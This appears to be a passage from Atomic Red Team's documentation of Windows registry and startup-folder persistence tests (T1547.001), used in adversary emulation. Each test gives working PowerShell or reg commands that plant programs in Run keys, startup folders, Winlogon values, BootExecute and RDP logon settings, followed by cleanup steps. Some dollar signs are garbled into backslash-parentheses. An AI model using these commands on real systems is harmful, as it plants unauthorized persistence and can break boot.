Remove-ItemProperty -Path #{reg_key_path} -Name "NextRun" -Force -ErrorAction Ignore

Atomic Test #4 - Suspicious vbs file run from startup Folder

vbs files can be placed in and ran from the startup folder to maintain persistance. Upon execution, "T1547.001 Hello, World VBS!" will be displayed twice. Additionally, the new files can be viewed in the "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" folder and will also run when the computer is restarted and the user logs in.

Supported Platforms: Windows

auto_generated_guid: 2cb98256-625e-4da9-9d44-f2e5f90b8bd5

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

Copy-Item "\(PathToAtomicsFolder\T1547.001\src\vbsstartup.vbs" "\)env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs"
Copy-Item "$PathToAtomicsFolder\T1547.001\src\vbsstartup.vbs" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs"
cscript.exe "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs"
cscript.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs"

Cleanup Commands:

Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs" -ErrorAction Ignore
Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs" -ErrorAction Ignore

Atomic Test #5 - Suspicious jse file run from startup Folder

jse files can be placed in and ran from the startup folder to maintain persistance. Upon execution, "T1547.001 Hello, World JSE!" will be displayed twice. Additionally, the new files can be viewed in the "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" folder and will also run when the computer is restarted and the user logs in.

Supported Platforms: Windows

auto_generated_guid: dade9447-791e-4c8f-b04b-3a35855dfa06

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

Copy-Item "\(PathToAtomicsFolder\T1547.001\src\jsestartup.jse" "\)env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse"
Copy-Item "$PathToAtomicsFolder\T1547.001\src\jsestartup.jse" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse"
cscript.exe /E:Jscript "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse"
cscript.exe /E:Jscript "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse"

Cleanup Commands:

Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse" -ErrorAction Ignore
Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse" -ErrorAction Ignore

Atomic Test #6 - Suspicious bat file run from startup Folder

bat files can be placed in and executed from the startup folder to maintain persistance

Upon execution, cmd will be run and immediately closed. Additionally, the new files can be viewed in the "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" folder and will also run when the computer is restarted and the user logs in.

Supported Platforms: Windows

auto_generated_guid: 5b6768e4-44d2-44f0-89da-a01d1430fd5e

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

Copy-Item "\(PathToAtomicsFolder\T1547.001\src\batstartup.bat" "\)env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat"
Copy-Item "$PathToAtomicsFolder\T1547.001\src\batstartup.bat" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat"
Start-Process "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat"
Start-Process "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat"

Cleanup Commands:

Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat" -ErrorAction Ignore
Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat" -ErrorAction Ignore

Atomic Test #7 - Add Executable Shortcut Link to User Startup Folder

Adds a non-malicious executable shortcut link to the current users startup directory. Test can be verified by going to the users startup directory and checking if the shortcut link exists.

Supported Platforms: Windows

auto_generated_guid: 24e55612-85f6-4bd6-ae74-a73d02e3441d

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

$Target = "C:\Windows\System32\calc.exe"
\(ShortcutLocation = "\)home\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc_exe.lnk"
$WScriptShell = New-Object -ComObject WScript.Shell
\(Create = \)WScriptShell.CreateShortcut($ShortcutLocation)
\(Create.TargetPath = \)Target
$Create.Save()

Cleanup Commands:

Remove-Item "$home\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc_exe.lnk" -ErrorAction Ignore

Atomic Test #8 - Add persistance via Recycle bin

Add a persistance via Recycle bin vxunderground User have to clic on the recycle bin to lauch the payload (here calc)

Supported Platforms: Windows

auto_generated_guid: bda6a3d6-7aa7-4e89-908b-306772e9662f

Attack Commands: Run with command_prompt!

reg ADD "HKCR\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open\command" /ve /d "calc.exe" /f

Cleanup Commands:

reg DELETE "HKCR\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open" /f

Atomic Test #9 - SystemBC Malware-as-a-Service Registry

This Atomic will create a registry key called socks5_powershell for persistance access https://medium.com/walmartglobaltech/systembc-powershell-version-68c9aad0f85c

Supported Platforms: Windows

auto_generated_guid: 9dc7767b-30c1-4cc4-b999-50cab5e27891

Inputs:

Attack Commands: Run with powershell!

$RunKey = "#{reg_key_path}"
Set-ItemProperty -Path $RunKey -Name "socks5_powershell" -Value "#{reg_key_value}"

Cleanup Commands:

Remove-ItemProperty -Path #{reg_key_path} -Name "socks5_powershell" -Force -ErrorAction Ignore

Atomic Test #10 - Change Startup Folder - HKLM Modify User Shell Folders Common Startup Value

This test will modify the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders -V "Common Startup" value to point to a new startup folder where a payload could be stored to launch at boot. *successful execution requires system restart

Supported Platforms: Windows

auto_generated_guid: acfef903-7662-447e-a391-9c91c2f00f7b

Inputs:

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

New-Item -ItemType Directory -path "#{new_startup_folder}"
Copy-Item -path "#{payload}" -destination "#{new_startup_folder}"
Set-ItemProperty -Path  "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Common Startup" -Value "#{new_startup_folder}"

Cleanup Commands:

Set-ItemProperty -Path  "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Common Startup" -Value "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup"
Remove-Item "#{new_startup_folder}" -Recurse -Force

Atomic Test #11 - Change Startup Folder - HKCU Modify User Shell Folders Startup Value

This test will modify the HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders -V "Startup" value to point to a new startup folder where a payload could be stored to launch at boot. *successful execution requires system restart

Supported Platforms: Windows

auto_generated_guid: 8834b65a-f808-4ece-ad7e-2acdf647aafa

Inputs:

Attack Commands: Run with powershell!

New-Item -ItemType Directory -path "#{new_startup_folder}"
Copy-Item -path "#{payload}" -destination "#{new_startup_folder}"
Set-ItemProperty -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Startup" -Value "#{new_startup_folder}"

Cleanup Commands:

Set-ItemProperty -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Startup" -Value "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
Remove-Item "#{new_startup_folder}" -Recurse -Force

Atomic Test #12 - HKCU - Policy Settings Explorer Run Key

This test will create a new value under HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run to launch calc.exe on boot. *Requires reboot

Supported Platforms: Windows

auto_generated_guid: a70faea1-e206-4f6f-8d9a-67379be8f6f1

Inputs:

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

if (!(Test-Path -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer")){
  New-Item -ItemType Key -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
}
if (!(Test-Path -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run")){
  New-Item -ItemType Key -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
}
Set-ItemProperty -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" -Name "#{target_key_value_name}" -Value "#{payload}"

Cleanup Commands:

Remove-ItemProperty -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" -Name "#{target_key_value_name}"

Atomic Test #13 - HKLM - Policy Settings Explorer Run Key

This test will create a HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run key value to launch calc.exe on boot. *Requires reboot

Supported Platforms: Windows

auto_generated_guid: b5c9a9bc-dda3-4ea0-b16a-add8e81ab75f

Inputs:

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

if (!(Test-Path -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run")){
  New-Item -ItemType Key -Path  "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
}
Set-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" -Name "#{target_key_value_name}" -Value "#{payload}"

Cleanup Commands:

Remove-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" -Name "#{target_key_value_name}"

Atomic Test #14 - HKLM - Append Command to Winlogon Userinit KEY Value

This test will append a command to the HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit value to launch calc.exe on boot.

• Requires reboot

Supported Platforms: Windows

auto_generated_guid: f7fab6cc-8ece-4ca7-a0f1-30a22fccd374

Inputs:

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

\(oldvalue = \)(Get-ItemPropertyValue -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit");
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit-backup" -Value "$oldvalue";
\(newvalue = \)oldvalue + " #{payload}";
Set-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit" -Value "$newvalue"

Cleanup Commands:

\(oldvalue = \)(Get-ItemPropertyValue -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name 'Userinit-backup');
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit" -Value "$oldvalue";
Remove-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name 'Userinit-backup'

Atomic Test #15 - HKLM - Modify default System Shell - Winlogon Shell KEY Value

This test change the default value of HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell from "explorer.exe" to the full path of "C:\Windows\explorer.exe" to log a change to the key's default value without breaking boot sequence. An atacker will alternatively replace this with a custom shell.

Supported Platforms: Windows

auto_generated_guid: 1d958c61-09c6-4d9e-b26b-4130314e520e

Inputs:

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

\(oldvalue = \)(Get-ItemPropertyValue -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell");
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell-backup" -Value "$oldvalue";
\(newvalue = \)oldvalue + ", #{payload}";
Set-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell" -Value "$newvalue"

Cleanup Commands:

\(oldvalue = \)(Get-ItemPropertyValue -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name 'Shell-backup');
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell" -Value "$oldvalue";
Remove-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name 'Shell-backup'

Atomic Test #16 - secedit used to create a Run key in the HKLM Hive

secedit allows to manipulate the HKLM hive of the Windows registry. This test creates a Run key with the keyname calc having calc.exe as the value in the HKLM hive. Reference

Supported Platforms: Windows

auto_generated_guid: 14fdc3f1-6fc3-4556-8d36-aa89d9d42d02

Inputs:

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

secedit /import /db #{secedit_db} /cfg "#{ini_file}"
secedit /configure /db #{secedit_db}

Cleanup Commands:

REG DELETE "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "calc" /f >nul 2>&1

Atomic Test #17 - Modify BootExecute Value

This test modifies the BootExecute registry value to "autocheck autoche *", which can be used to simulate an adversary's attempt to tamper with the system's boot process. Reference - https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf NOTE that by not saving the correct value, you may inhibit your system from booting properly. Only run on a test system. There is a reg export before running the Atomic.

Supported Platforms: Windows

auto_generated_guid: befc2b40-d487-4a5a-8813-c11085fb5672

Inputs:

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

if (!(Test-Path "\(PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg")) { reg.exe export "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" "\)PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg" /y }
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" -Name "BootExecute" -Value "#{registry_value}" -Type MultiString

Cleanup Commands:

reg.exe import "$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg"
Remove-Item -Path "$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg" -Force

Atomic Test #18 - Allowing custom application to execute during new RDP logon session

When a users logs in to a computer via RDP,Windows will search for the key in HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd registry By default, rdpclip is the value stored. An attacker with administrator privileges can alter the value stored to allow for the custom application to execute during RDP login session.The test will allow running cal rather rdpclip when a user logs in via RDP

Supported Platforms: Windows

auto_generated_guid: b051b3c0-66e7-4a81-916d-e6383bd3a669

Inputs:

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd" /f /v StartupPrograms /t REG_SZ /d "#{malicious_app}"

Cleanup Commands:

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd" /f /v StartupPrograms /t REG_SZ /d "rdpclip"

Atomic Test #19 - Creating Boot Verification Program Key for application execution during successful boot

Microsoft allows users to define a custom boot verification program for those situations by creating the registry key “HKLM\System\CurrentControlSet\Control\BootVerificationProgram” and setting the value of ImagePath to the path of boot verification program.Threat Actor can abuse by creating this registry key and providing a malicious application to be executed during successful boot

Supported Platforms: Windows

auto_generated_guid: 6e1666d5-3f2b-4b9a-80aa-f011322380d4

Inputs:

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

reg add HKLM\System\CurrentControlSet\Control\BootVerificationProgram /v ImagePath /t REG_SZ /d "#{malicious_file}"

Cleanup Commands:

reg delete HKLM\System\CurrentControlSet\Control\BootVerificationProgram /f

Atomic Test #20 - Add persistence via Windows Context Menu

This atomic test add persistence taking advantage of the Windows Context Menu Hexacorn User have to right click on the main screen or in the white space of the opened folder (e.g. Size Modify).

Supported Platforms: Windows

auto_generated_guid: de47f4a0-2acb-416d-9a6b-cee584a4c4d1

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

reg add "HKEY_CLASSES_ROOT\Directory\Background\shell\Size Modify\command" /ve /t REG_SZ /d "C:\Windows\System32\calc.exe" /f

Cleanup Commands:

reg delete "HKEY_CLASSES_ROOT\Directory\Background\shell\Size Modify" /f

Ref: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1547.001/T1547.001.md